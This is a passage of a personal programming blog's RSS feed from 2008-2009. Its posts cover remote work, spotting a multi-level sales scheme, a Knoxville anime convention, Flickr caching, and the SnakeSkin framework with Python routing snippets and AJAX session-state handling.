&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/T_yk077elrA" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/166/</guid><pubDate>Thu, 16 Apr 2009 16:59:28 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/166/</feedburner:origLink></item><item><title>Working From Home</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/MSAlWnHi7f8/</link><description>In IT, and specifically software development, the fact that we can do much of our job from literally anywhere is one of our great luxuries.
&lt;br /&gt;
&lt;br /&gt;I've been working from home for 8 months. In fact, one of the reasons I took this job is that I'm working from home. I should point out that I am actually a full-time, salaried employee--this isn't contract work. Working from home is, I have to admit, really amazing. But every time I hear someone say, "wow, you get to work from home?" with a shocked or jealous tone, I cringe...&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/165"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=8B1BLvyo"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=KlYRFHsm"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=KlYRFHsm" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=0rr1uJa3"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=0rr1uJa3" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=jkDPvfD0"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=jkDPvfD0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=HseIvHh6"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/MSAlWnHi7f8" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/165/</guid><pubDate>Thu, 19 Feb 2009 01:26:56 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/165/</feedburner:origLink></item><item><title>Feeds moved</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/oQW-uszYkEk/</link><description>&lt;p&gt;I've just moved my Feedburner feeds over to Google's new system, so here are the updated links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; Blog: &lt;a href="http://feeds2.feedburner.com/DylanWolfBlog"&gt;http://feeds2.feedburner.com/DylanWolfBlog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; Comments: &lt;a href="http://feeds2.feedburner.com/DylanWolfBlogComments"&gt;http://feeds2.feedburner.com/DylanWolfBlogComments&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/164"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=YV5tLCrz"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=kCNsCnYU"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=kCNsCnYU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=NeSpaMvT"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=NeSpaMvT" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=LdtYIvYw"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=LdtYIvYw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=zlyHHEn3"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/oQW-uszYkEk" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/164/</guid><pubDate>Sat, 24 Jan 2009 11:54:16 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/164/</feedburner:origLink></item><item><title>Marketing Fail</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/DFO_em_kkHE/</link><description>&lt;p&gt;I'm feeling rather smug right now.&lt;/p&gt;

&lt;p&gt;My sister IM'd me with news that she might have an interview lined up. She'd missed the lady's call, but had left and message and would try to get up with them next week. This is a good thing, as my sister is currently serving at a restaurant but would really like to get out and put her degree to good use (English/theater, just in case anyone's curious).&lt;/p&gt;

&lt;p&gt;Turns out, the company in question was a local sales and marketing company. Now, this intrigued me, as a few years ago I worked as a programmer at a web marketing company in Knoxville, who in turn worked with a couple of advertising and marketing companies in Knoxville. So my concept of the term "sales and marketing company" had been set pretty high. I assumed that this company performed some sort of business-to-business service, like advertising or helping companies present and promote themselves to other companies. (They called their technique "face-to-face marketing," and I was trying to figure out what that would mean for a company that gets hired out by other companies to do marketing for them.)&lt;/p&gt;

&lt;p&gt;Funny thing, they apparently knew nothing about marketing. I mean, why would you claim to work with Fortune 500 companies and yet not showcase your portfolio or clients? Why would your contact page be completely focused on getting resumes? Why would four out of five of your FAQs be focused on hiring new employees rather than, you know, what your company actually does?&lt;/p&gt;

&lt;p&gt;It didn't take long before we figured out this was some sort of multi-level sales scheme. Their "Training" page (that's training they provide to employees, not training they sell as a service) hinted at this in only the vaguest terms, preferring to use terms like "managers" and "marketing officers" and "coaching your team." Of course it became blatantly obvious when my sister searched for the president's name, only to end up on a different company's site that, oddly enough, had the exact same content. (Apparently, this was where the president began his amazing explosive omgwtfbbq!!!111oneoneoneeleven growth opportunity.)&lt;/p&gt;

&lt;p&gt;Anyway, I won't name names. But I was surprised how obvious they were once I actually started looking for what the company did. Or rather, they &lt;em&gt;weren't&lt;/em&gt; obvious about what they did, which made them obvious. I actually felt like sort of a jerk at first, since I went into paranoid skeptic mode all over this nice shiny new opportunity. And I think she was a little disappointed, since (prior to this revelation, of course) it was a real interview. At the same time, I reassured her that she should feel good. We just outsmarted their attempt to fool her into a job she doesn't want.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/163"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=2864z3ty"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=dELQfTvn"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=dELQfTvn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=7NxZIygF"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=7NxZIygF" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=t4fj2WuF"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=t4fj2WuF" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=Glwgg4pg"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/DFO_em_kkHE" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/163/</guid><pubDate>Sat, 24 Jan 2009 01:04:15 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/163/</feedburner:origLink></item><item><title>11th Grade Activities</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/6xbs3WbXMNA/</link><description>&lt;p&gt;I found &lt;a href="http://xkcd.com/519/"&gt;today's xkcd (also titled "11th Grade Activities")&lt;/a&gt; a little ironic.&lt;/p&gt;

&lt;p&gt;You see, I spent my 11th grade year doing comparatively little in the way of classes and homework. Thanks to lymphoma, I was on homebound most of the year, which meant I got homework as teachers had time to send it to me. Which was either in large batches that I could put off and then do all at the last minute (Pre-Calc), or not at all (Economics--I swear the teacher only sent 2 or 3 assignments the entire semester).&lt;/p&gt;

&lt;p&gt;Which means my time was filled up with many other entertaining activities. Like screwing around with Visual Basic 4 and HTML. And creating Doom levels. And playing Chrono Trigger. And chemotherapy and doctor's appointments, of course.&lt;/p&gt;

&lt;p&gt;I suppose this would be funnier if I actually drew out a parody comic but (a) I'm lazy, (b) I'm not really sure what metric would be funny as the Y-axis&lt;sup&gt;*&lt;/sup&gt;, and (c) freehanding with the mouse in GIMP makes it look more like a stupid looking rip-off than a parody. So just imagine I created a chart out of that last paragraph.&lt;/p&gt;

&lt;p&gt;Incidentally, all this nostalgia reminds me of a funny IT/business-related story from 8th grade, which I should post later.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;sup&gt;*&lt;/sup&gt; All I know is, Chrono Trigger has to be the largest bar. After all, the whole point of this post is gloating that Chrono Trigger comprised a majority of my 11th grade education.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/162"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=2R0L8FYE"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=Js5a6u21"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=Js5a6u21" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=ZrkC39eb"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=ZrkC39eb" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=dBjSXQQq"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=dBjSXQQq" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=Ua3zYmKo"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/6xbs3WbXMNA" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/162/</guid><pubDate>Fri, 19 Dec 2008 02:11:38 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/162/</feedburner:origLink></item><item><title>Kajonk-A-Con, Dec. 5-7, Knoxville, TN</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/pk9JZqfX8Xw/</link><description>&lt;blockquote&gt;Edit: If you're here for photos from the con, you can check &lt;a href="http://www.dylanwolf.com/photos/flickr72157610807636459"&gt;my photos section&lt;/a&gt; or &lt;a href="http://www.flickr.com/photos/dylan_wolf/sets/72157610807636459/"&gt;Flickr&lt;/a&gt; (same photos, but going directly to my Flickr account may be a bit faster).&lt;/blockquote&gt;

&lt;p&gt;Just a little bit of promotion here for a local Knoxville event--&lt;a href="http://www.kajonk-a-con/"&gt;Kajonk-A-Con&lt;/a&gt; is going to be held December 5-7 at the UT Conference Center.&lt;/p&gt;

&lt;p&gt;Kajonk-A-Con is an anime and gaming convention. They will feature a lineup of concerts as well as panels by Jon LaCure, a professor with UT's Japanese Language Department. (There's a listing of &lt;a href="http://www.kajonk-a-con.com/panels.html"&gt;panels&lt;/a&gt; and &lt;a href="http://www.kajonk-a-con.com/guests.html"&gt;guests&lt;/a&gt; on their site.)

&lt;p&gt;They're relatively new (I think this is their second year), so they're not as big as MTAC or AWA, but they do have one advantage--they're local. It's worth supporting just to establish an event like this in Knoxville. &lt;a href="http://www.kajonk-a-con.com/registration.html"&gt;Pre-registration&lt;/a&gt; is $20 through Dec. 3 or $35 at the door. UT students can get in for $10.&lt;/p&gt;

&lt;p&gt;As a side note, &lt;a href="http://www.chainsawbuffet.com/"&gt;Chainsaw Buffet&lt;/a&gt; is going to have a table at KAC. So, you know, you can come by and meet some of the famous guys behind the famous podcast. Or something.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/161"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=dKkm7ddp"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=7SrZ52E8"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=7SrZ52E8" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=Hc2P5sn9"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=Hc2P5sn9" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=au2Vp02e"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=au2Vp02e" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=ozB6SJHP"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/pk9JZqfX8Xw" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/161/</guid><pubDate>Mon, 24 Nov 2008 23:50:08 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/161/</feedburner:origLink></item><item><title>Flickr, Caching, and Overcomplication</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/3ceOohyDYyY/</link><description>&lt;p&gt;I mentioned offhand in a previous post that I'd modified my photo section to use Flickr. A few days later, I realize this may have been a bad idea.&lt;/p&gt;

&lt;p&gt;I've gotten a few tracebacks from this site where a search engine bot has hit the photos section and absolute broke this functionality. It's a big block of "Connection reset" messages sitting in my Inbox. And they do always seem to come in large numbers, so I don't think it's just randomly crapping out.&lt;/p&gt;

&lt;p&gt;So tonight I coded up (what I think is) a fairly elegant caching solution. It will hold on to some number of Python objects (default is 1000) by key, and delete the least-recently used data as new items come in. And the main Photos page is caching each individual photoset, so that no additional calls need to be be made when you drill down to the Photoset level. The same thing happens on the Photoset page with individual Photos.&lt;/p&gt;

&lt;p&gt;In testing, it hits me that Apache spawns a lot of different child processes (or maybe threads, I can't remember), and each process will necessarily have its own cache. (I count 9 child processes running right now.) So the odds of a search engine bot actually making heavy use of the caching is relatively small--unless they're just lucky and get the same child process each time, or stupid enough to request the same URL more than once. So for the amount of effort I spent, I surely could have just written a daily sync script to pull down all of my Flickr data to a database.&lt;/p&gt;

&lt;p&gt;Of course, that would be too obvious a solution. (And, I gotta admit, writing a data sync script just doesn't feel as 1337 as doing caching.) Oh well. At least I have a caching module that I can use for this site or Chainsaw Buffet gets popular, or at least Slashdotted. (Do kids still use that term, "Slashdotted?")&lt;/p&gt;

&lt;p&gt;... like that's ever going to happen. :)&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/160"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=z0W4ZOln"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=EF901iR4"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=EF901iR4" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=mbtoKQDR"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=mbtoKQDR" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=IYEV0cKf"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=IYEV0cKf" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=sfMNVonw"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/3ceOohyDYyY" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/160/</guid><pubDate>Tue, 11 Nov 2008 00:37:25 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/160/</feedburner:origLink></item><item><title>Old and Busted?</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/RoX1PHZVOUQ/</link><description>&lt;p&gt;After writing &lt;a href="http://www.dylanwolf.com/programming/158/"&gt;my previous blog post&lt;/a&gt;, I got to thinking about why I still use &lt;a href="http://snakeskin.psuedocode.net/"&gt;SnakeSkin&lt;/a&gt; for personal projects.&lt;/p&gt;

&lt;p&gt;It's a valid question. Sure, I had three years of experience with it and I've adapted to its way of thinking. I have a good Linux VPS host, so it's a perfect fit for me. But you can argue that it doesn't do a lot of things that other frameworks do. In fact, lack of community support is probably one of its biggest weaknesses.&lt;/p&gt;

&lt;p&gt;Or is it? My website works just fine. It does everything I want it to do for the moment, and it's very possible to add new functionality (I converted my &lt;a href="http://www.dylanwolf.com/photos/"&gt;photos&lt;/a&gt; section to pull data from Flickr yesterday). Using a framework that has a lot of community support wouldn't necessarily help me at this point. Actually, when I got to thinking about it, it seems like it would merely increase my signal-to-noise ratio.&lt;/p&gt;

&lt;p&gt;Let's say I was using ASP.NET. Microsoft has been really good about releasing new features--we just recently saw the launch of .NET 3.5 SP 1, for example. If my website were written in .NET 2.0, I'd be feeling pretty old and busted right now.&lt;/p&gt;

&lt;p&gt;I mean, I need to upgrade to .NET 3.5 to get that sweet routing engine!&lt;/p&gt;

&lt;blockquote&gt;&lt;pre&gt;    page_classes = {
        'sitemap.xml'       : forms.google_sitemap.GoogleSitemap,
        'sitemap.xml.gz'    : forms.google_sitemap.GoogleSitemap,
        'index.html'        : forms.blog.BlogSummaryForm,
        'photos/index.html' : forms.photos.PhotosForm,
        'register/index.html'   :forms.user_registration.UserRegistrationForm,
    }

    regex_mapping = (
        ('^rss/(.*)$',                                  rss_feeds.RSSFeedForm),
        ('^photos/(.*?)/(.*?)/index.html$',             forms.photos.PhotosForm),
        ('^photos/(.*?)/index.html$',                   forms.photos.PhotosForm),
        ('^([^/]+?)/index.html$',                       forms.blog.BlogListingForm),
        ('^([^/]+?)/(\d+)/index.html$',                 forms.blog.BlogPostForm),
        ('^([^/]+?)/create/blog/index.html',            forms.blog.BlogPostForm),
        ('^([^/]+?)/create/page/index.html',            forms.defined.DefinedContentForm),
        ('^([^/]+?)/(.+)$',                             forms.defined.DefinedContentForm),
    )

    # Page for which we have an associated class
    c = db.cursor()
    if page in page_classes.keys():
        app.register_page(page, page_classes[page](page))
    else:

        for (page_regex, page_class) in regex_mapping:
            m = re.match(page_regex, page)
            if m:
                app.register_page(page, page_class(page, *m.groups()))
                break
        else:
            app.register_page(page,forms.default.DefaultForm(page))&lt;/pre&gt;&lt;/blockquote&gt;

&lt;p&gt;And if I'm not using LINQ to SQL, I'm going to have some horribly messy data access code, with SQL queries stuck all over my codebehinds!&lt;/p&gt;

&lt;blockquote&gt;&lt;pre&gt;        blog_table = models.BlogTable(ctx.request.db, ctx.request.auth.authorized and ctx.request.auth.user['auth_id'] or 0)

        ctx.locals.Paging = site_lib.Paging( ctx.locals.current_page, blog_table.get_record_count(locked_filter=locked_filter) )
        ctx.locals.Paging.change_page(ctx)
        ctx.locals.BlogPosts = blog_table.get_record_list(limit=ctx.locals.Paging.get_sql_limit(),
                                                          offset=ctx.locals.Paging.get_sql_offset(),
                                                          locked_filter=locked_filter)&lt;/pre&gt;&lt;/blockquote&gt;

&lt;p&gt;Don't forget that I need good &lt;a href="http://www.dylanwolf.com/programming/158/"&gt;AJAX support&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;And gorrammit, my website is nothing if it isn't &lt;a href="http://www.openhosting.com/pricing"&gt;in the cloud&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;OK, that's enough sarcasm for now. I'm not saying my code is perfect, or that these trends hitting ASP.NET don't matter, or that I was ahead of the curve anywhere along the line. And I'm certainly not saying we all need to live like hermits--especially when it comes to code that &lt;em&gt;isn't&lt;/em&gt; a personal project. (Imagine trying to find someone else to maintain my SnakeSkin/Python-powered blog.) But what I &lt;em&gt;am&lt;/em&gt; saying is that I find all this bleeding edge stuff somewhat tiring. I don't really have fun hacking around with new stuff unless there's a point to it--I'm happiest when I'm producing something useful, stable, maintainable, and polished.&lt;/p&gt;

&lt;p&gt;So .NET is a great choice for a work environment, where I may have to reuse libraries or work with an industry-standard platform. And I'm sure there are a number of "better" web frameworks out there (depending on how you define better: support, maintainability, strict adherence to design patterns, etc.). And in both cases, you can do some pretty awesome stuff with the wealth of libraries and the new stuff that's being released--of course, that's assuming you actually need to use it. (That last part is important. I look at things like Azure and Live Mesh and I see extremely useful technologies--but I also see technologies that people are going to shoehorn into so many applications where they're not really needed, just because they're the new hotness.)&lt;/p&gt;

&lt;p&gt;At some point, you have to separate yourself from the kool-aid and the cult of personality and the horrible feeling that you're not up to snuff because you don't use &lt;em&gt;[insert hip technology here]&lt;/em&gt;, and realize that &lt;strong&gt;good enough really is by definition good enough&lt;/strong&gt;&lt;sup&gt;*&lt;/sup&gt;. And if you don't have the willpower to stop excessively worrying about it on your own volition, then there are ways to deal with it indirectly.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;sup&gt;*&lt;/sup&gt; I picked up this phrase at DevLink, and now I can't stop saying it. I use it partly as a joke (at least I hope I do), because it seems programmers these days are all about mantras like this. Yes, I realize that if someone else were using it as much as I have, I would be a little annoyed and burnt-out on it. Then again, I actually do like it: it speaks directly to the nagging feeling I have (and it's not just limited to my career) that whatever I do is &lt;a href="http://secretgeek.net/inadequate.asp"&gt;never quite good enough.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/159"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=J1jmsuVg"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=ahwLd3Wc"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=ahwLd3Wc" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=K52rXak8"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=K52rXak8" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=KHsIs3B0"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=KHsIs3B0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=2tl5XIC3"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/RoX1PHZVOUQ" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/159/</guid><pubDate>Fri, 07 Nov 2008 14:25:43 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/159/</feedburner:origLink></item><item><title>The Value of Cross-Training</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/SDvZXmUP_zQ/</link><description>&lt;p&gt;While my job focuses on ASP.NET development, I still find myself going back to &lt;a href="http://www.python.org/"&gt;Python&lt;/a&gt; and &lt;a href="http://snakeskin.pseudocode.net/"&gt;SnakeSkin&lt;/a&gt; for personal web development projects. There's really two reasons for this. One, I've got a pretty nice Linux virtual server hosting account through &lt;a href="http://www.openhosting.com/"&gt;OpenHosting&lt;/a&gt;, so hosting on Apache gives me a lot of freedom. Two, I like the fact that it's a bit lower-level than ASP.NET (so I'm a little closer to the HTML code) and not as opinionated as an MVC framework like Rails or CakePHP. Three, real men code in vi from the command line.&lt;/p&gt;

&lt;p&gt;One of the great strengths of SnakeSkin/&lt;a href="http://www.object-craft.com.au/projects/albatross/"&gt;Albatross&lt;/a&gt; is its handling of form and session state. It's roughly equivalent to ASP.NET's ViewState. However, this makes AJAX work a little tricky. When a form is submitted, the posted fields are validated against the original structure of the form on the page; if they don't match, SnakeSkin throws an exception. Great for keeping spammers out of your contact forms--but not so hot for changing page structure on the fly. And for years, I've sort of had to deal with this limitation. Usually, my workaround was to use a separate controller that returned XML data, which I then used to update the page through JavaScript. Fine for small things (and certainly less bandwidth-intensive), but not convenient.&lt;/p&gt;

&lt;p&gt;I could go into the complexity of the problem even more, but it boils down to this: you can't easily update one portion of the page directly. It's all-or-nothing.&lt;/p&gt;

&lt;p&gt;I eventually hit upon half of the solution to the problem a few months ago. If I updated an entire &amp;lt;form&amp;gt; tag in its entirety using prototype's Ajax.Updater, then the form data would remain intact, and wouldn't break when I submitted it again. But this was a very limiting solution. If you used multiple &amp;lt;form&amp;gt; tags on a page, then their session state (stored in hidden fields) would get out of sync as you updated each one individually. So, the only way to really make this solution work was to include only one &amp;lt;form&amp;gt; tag on the page. And if you're doing that, you might as well not use AJAX at all.&lt;/p&gt;

&lt;p&gt;It took some time, but the solution finally hit me. It was during &lt;a href="http://www.morewally.com/"&gt;Wally McClure&lt;/a&gt;'s ASP.NET AJAX presentation at &lt;a href="http://www.etnug.org/"&gt;ETNUG&lt;/a&gt;. I had a pretty good idea of what was going on behind the scenes with ASP.NET AJAX, but I'd never really thought about it too much up to that point--the details were safely hidden from me in the Microsoft library, so there was no point in delving into the complexity.&lt;/p&gt;

&lt;p&gt;But part of Wally's presentation was to open up Fiddler and show the actual text of an ASP.NET AJAX response. The response contained the HTML code to be inserted into each UpdatePanel--which was pretty much what I expected. But it also included the updated ViewState as a separate field in the response. And that's when it clicked.&lt;/p&gt;

&lt;p&gt;All I had to do was modify SnakeSkin to spit out both the session state and the HTML response as part of an AJAX call. Then, when the response came in, I would iterate through the &amp;lt;input&amp;gt; tags on the page, and replace the contents of each hidden session state field. This didn't require a lot of work on the back end (surprisingly, as I'd imagined the code to generate session state was hidden deep within the bowels of SnakeSkin), and only some minor tweaks on the front-end code I'd been using for AJAX.&lt;/p&gt;

&lt;p&gt;So, last night, I actually got two-panel demo working. It's obviously nowhere near as complicated as ASP.NET AJAX's UpdatePanel--modifying my SnakeSkin page class to support updating multiple sections of the page in one call would just overcomplicate it at this point. But it is a somewhat elegant solution to the problem--that is to say, it's encapsulated enough that the details of "how" are nearly invisible when you're creating a page class.&lt;/p&gt;

&lt;p&gt;I'll post some samples if anyone's interested, but SnakeSkin (and probably Albatross, the project it forked) is so obscure this doesn't really matter to anyone but me.&lt;/p&gt;

&lt;p&gt;The point is, I found it interesting that I solved a problem in one framework just by looking at another. I didn't copy the solution directly, but it gave me a new way of looking at the problem. So, while you shouldn't learn every framework, language, and platform out there, it helps to know more than one.&lt;/p&gt;

&lt;p&gt;This is especially true in web development, because in a sense, web frameworks don't matter. Every web application--every HTML-based application that is, since Flash and Silverlight aren't constrained by the same limitations--is basically working with the same set of inputs, outputs, and limitations. From the user's perspective, what you can do with one, you can do with any other framework, whether you're using PHP or ASP.NET or Rails or SnakeSkin or Perl. Obviously, that doesn't mean they're all equally suited to every task. The value in the framework is on the back end--maintainability, productivity, data, and support. So as different as they are, all web frameworks can't be &lt;em&gt;that&lt;/em&gt; different in their fundamentals, which means it's easier to compare, contrast, and borrow concepts in the web arena than it is on the desktop or server.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/158"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
